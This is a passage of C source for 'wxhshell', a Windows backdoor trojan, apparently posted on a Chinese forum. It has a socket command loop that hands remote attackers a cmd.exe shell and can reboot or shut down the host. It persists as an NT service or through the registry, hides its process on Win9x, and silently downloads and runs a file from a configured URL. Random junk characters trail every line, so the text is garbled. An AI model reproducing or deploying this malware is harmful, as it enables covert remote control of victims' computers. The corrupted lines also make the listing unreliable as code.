  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0mNL!"  
  } Y;@]G=a   
  else { tt|P-p-  
-qBdcbi|x)  
    switch(cmd[0]) { aQ-SrxmO8  
  > Edsanx  
  // 帮助 86>@.:d  
  case '?': { sN K^.0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J50n E~  
    break; cG&@PO]+.  
  } hcM9Sx"!  
  // 安装 B4*uS (  
  case 'i': { kgI8PybY  
    if(Install()) NkoyEa/^[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6s>io%,:  
    else {0 %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q/Zs]Gz  
    break; SLNq%7apx  
    } YP[8d,  
  // 卸载 UXh%DOq   
  case 'r': { B6@q`Bmw.  
    if(Uninstall()) VK!HuO9l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)~:H-  
    else ,& wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]^8CtgC  
    break; {-Gh 62hDg  
    } {|@}xrB  
  // 显示 wxhshell 所在路径 x3sX=jIW_  
  case 'p': { ,f@j4*)  
    char svExeFile[MAX_PATH]; lI~8[[$xd  
    strcpy(svExeFile,"\n\r"); V5p^]To!  
      strcat(svExeFile,ExeFile); W>qu~ak?x  
        send(wsh,svExeFile,strlen(svExeFile),0); j3H_g ^  
    break; z]KJ4  
    } !pC`vZG"  
  // 重启 j#u{(W'r  
  case 'b': { YkE_7r(1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #^yOW^  
    if(Boot(REBOOT)) 4|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$t2Y<_  
    else { 2%pU'D:  
    closesocket(wsh); _BONN6=*y  
    ExitThread(0); e*}:t H  
    } ysPm4am$  
    break; "G,,:H9v  
    } :iGK9I  
  // 关机 ,N;2"$+E  
  case 'd': { fP6\Ur  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =M}tet }  
    if(Boot(SHUTDOWN)) It<VjN9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bxzx@sF2l  
    else { HAo=t  
    closesocket(wsh); $:# :"  
    ExitThread(0); w~&#:F?  
    } 6(x53 y__  
    break; aX zb]">  
    } vxug>2  
  // 获取shell =qbN?a/?2  
  case 's': { VFMn"bYOB  
    CmdShell(wsh); 'p78^4'PL  
    closesocket(wsh); X&h?1lMJ /  
    ExitThread(0); PVIZ Y^64  
    break; q[+ h ~)  
  } G B,O  
  // 退出 ti$60Up  
  case 'x': { ;nJ2i?"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NpCQ4 K  
    CloseIt(wsh); H:OpS-b  
    break; $|7=$~y  
    } zbr^ulr  
  // 离开 <6s@eare8  
  case 'q': { @2mWNYHR*>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rA^=;?7Q  
    closesocket(wsh); ?6>*mdpl  
    WSACleanup(); +>%51#2.Q  
    exit(1); 8'_MCx(  
    break; ;(jL`L F  
        } =v 'Aub  
  } q317~ z_nl  
  } M,X)rM}Q  
}_F:]lI*R  
  // 提示信息 GY.iCub  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &}0QnO_mj  
} |@d}O8  
  } =HJ7tele  
Nr+~3:3  
  return; OCJt5#e~A  
} ~ ^D2]j  
p~Cz6n  
// shell模块句柄 4P=1)t?tX  
int CmdShell(SOCKET sock) ,G-  
{ GU9G5S.  
STARTUPINFO si; u!HX`~q+A  
ZeroMemory(&si,sizeof(si)); [b&V^41W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4mKH |\g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SSTn |  
PROCESS_INFORMATION ProcessInfo; *M*WjEOA  
char cmdline[]="cmd"; xWqV~NnE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :475FPy]  
  return 0; <}h <By)  
} Aqz $WTHW+  
$}0!dR2  
// 自身启动模式 2y|n!p T  
int StartFromService(void) $Ff6nc=  
{ <Rs$d0/  
typedef struct fI2 y(p{?  
{ hoM%|,0  
  DWORD ExitStatus; 3 {hUp81>  
  DWORD PebBaseAddress; Q`6hJgyL  
  DWORD AffinityMask; $tXW/  
  DWORD BasePriority; _L` uC jA  
  ULONG UniqueProcessId; u^B!6Sj8  
  ULONG InheritedFromUniqueProcessId; h-sO7M0E]  
}   PROCESS_BASIC_INFORMATION; Hmk xE  
8a]g>g  
PROCNTQSIP NtQueryInformationProcess; 6J#R1.h  
q*,HN(& l?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #H<}xC2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  LAM{ ,?~  
W(Md0*   
  HANDLE             hProcess; K'e,9P{  
  PROCESS_BASIC_INFORMATION pbi; u"%D;  
+5I'? _{V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6v]`s  
  if(NULL == hInst ) return 0; dZ8ldpf8  
 qT #=C'?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZXkrFA |  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  - US>].  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H3vnc\d~  
2xiE#l-V2  
  if (!NtQueryInformationProcess) return 0; EYZ&%.Sy5  
!4gHv4v ;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n[r1h=?j3  
  if(!hProcess) return 0; ujN~l_ 4  
{dP6fr1z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $)c[FR~a  
S 1^t;{"  
  CloseHandle(hProcess); %.wR@9?  
KHx;r@{<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O"kb*//  
if(hProcess==NULL) return 0; ZR0 OqSp]  
'vu]b#l3  
HMODULE hMod; ZZwIB3sNhf  
char procName[255]; zBwqIJfM  
unsigned long cbNeeded; V@s93kh  
,)!%^ ~v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ntB#2S  
,quUGS  
  CloseHandle(hProcess); lj8ficANo  
S!x;w7j  
if(strstr(procName,"services")) return 1; // 以服务启动 ?azLaAG  
R >SZE"  
  return 0; // 注册表启动 y1~ QKz  
} vXwMo4F*  
`F1Yfm jZT  
// 主模块 yS:w>xU @<  
int StartWxhshell(LPSTR lpCmdLine) ~;pP@DA  
{ B0p;Zh  
  SOCKET wsl; _3N,oCRm  
BOOL val=TRUE; T][c^K*  
  int port=0; l+@k:IK  
  struct sockaddr_in door; +t1+1 Zv  
QmGK! H>3  
  if(wscfg.ws_autoins) Install(); l Le&q  
"'+C%  
port=atoi(lpCmdLine); d(d3@b4Ta  
z.\\m;s  
if(port<=0) port=wscfg.ws_port;  $s]&9 2  
'@WBq!p  
  WSADATA data; 8 $H\b &u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $!!y v'K  
Pg`+Q^^6S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UM`$aPz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s?;V!t  
  door.sin_family = AF_INET; '/Vm[L$d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;"e55|d9I  
  door.sin_port = htons(port); b"}ya/  
O'^AbO=,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s!yD%zO  
closesocket(wsl); #K$0%0=M  
return 1; }weE^9GiJ  
} 7@ y}J5,  
[AFGh L+t3  
  if(listen(wsl,2) == INVALID_SOCKET) { +XX5;;IC  
closesocket(wsl); BILZ XMf  
return 1;  &z*4Uij  
} sAs`O@  
  Wxhshell(wsl); w 8cnSO  
  WSACleanup(); U8HuqFC  
 tj8o6N#  
return 0; ;}KJ[5i-V  
4AvIU!0w  
} Z\QN n  
3m21n7F4*  
// 以NT服务方式启动 /:BC<]s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M&",7CPD(1  
{ !Q%r4Nr  
DWORD   status = 0; z Z~t ,>  
  DWORD   specificError = 0xfffffff; l ObY  
H15!QxD#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &`>dY /Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p<Tg}fg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GMLx$?=j  
  serviceStatus.dwWin32ExitCode     = 0; yDe*-N\'W  
  serviceStatus.dwServiceSpecificExitCode = 0; L"?4}U:  
  serviceStatus.dwCheckPoint       = 0; L8zMzm=-  
  serviceStatus.dwWaitHint       = 0; x 2l}$(7  
N>P" $  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EL2z&  
  if (hServiceStatusHandle==0) return; 2JeEmG9  
[!} uj`e  
status = GetLastError(); Kuk@x.~0m  
  if (status!=NO_ERROR) yTe25l{QaF  
{ fHI@' '0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #L*MMC"  
    serviceStatus.dwCheckPoint       = 0; [5M!'  
    serviceStatus.dwWaitHint       = 0; VzcW9'"#  
    serviceStatus.dwWin32ExitCode     = status; /z)8k4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,g|ht%"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eUgKwu;  
    return; M3GFKWQI,`  
  } 6OQ\f,h@  
(f#{<^gd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )^ )|b5,  
  serviceStatus.dwCheckPoint       = 0; -A:'D8o#f  
  serviceStatus.dwWaitHint       = 0; Kl(u~/=6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~aL?{kb+  
} Tn38]UL  
%F;uW[4r  
// 处理NT服务事件,比如:启动、停止 qe0ZM-C_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H66~!J0;a  
{ oK"#*n  
switch(fdwControl) A v/y  
{ [f$pq5f='  
case SERVICE_CONTROL_STOP: &mA{_|>  
  serviceStatus.dwWin32ExitCode = 0; z^%`sUgP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RcI0n"Gi_  
  serviceStatus.dwCheckPoint   = 0; %V!!S#W  
  serviceStatus.dwWaitHint     = 0; :O;uP_r9  
  { j{/wG::  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =_2(S6~  
  } g$# JdN  
  return; MSt@yKq  
case SERVICE_CONTROL_PAUSE: Z$)jPDSr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B|;?#okx  
  break; gvP.\,U  
case SERVICE_CONTROL_CONTINUE: PC!X<C8*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U/rFH9e$  
  break; AIA4c"w.EO  
case SERVICE_CONTROL_INTERROGATE: b&pL}o?/k  
  break; b3-+*5L  
}; +gb"} cN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &23t/`   
} =VZ0+Yl  
M3)Id?|]6  
// 标准应用程序主函数 e#tWQM3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y#lg)nB  
{ w /CD-  
9v}vCg  
// 获取操作系统版本 fEyc3K'5V  
OsIsNt=GetOsVer(); GsE =5A8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $[(FCS  
;, u7)  
  // 从命令行安装 %Vsg4DRy  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?T[K{t;~jo  
L i`OaP$  
  // 下载执行文件 F;Ubdxwwl  
if(wscfg.ws_downexe) { >9Y0t^Fl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _#o75*42tT  
  WinExec(wscfg.ws_filenam,SW_HIDE); r9^~I  
} &+pp;1ls  
? ~_h3bHH  
if(!OsIsNt) { Vvl8P|x.<  
// 如果时win9x,隐藏进程并且设置为注册表启动 2|8$@*-\  
HideProc(); k jR-p=}  
StartWxhshell(lpCmdLine); [8`^_i=#  
} ery{>|k  
else #w)D ml  
  if(StartFromService()) xEe3,tb'e  
  // 以服务方式启动 3:!5 ]  
  StartServiceCtrlDispatcher(DispatchTable); BOW`{=  
else z8w@pT  
  // 普通方式启动 7!8R)m^1[  
  StartWxhshell(lpCmdLine); xa%2w]  
J)=Ts({  
return 0; =$vy_UN  
}
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只看该作者 1 发表于: 2006-10-10
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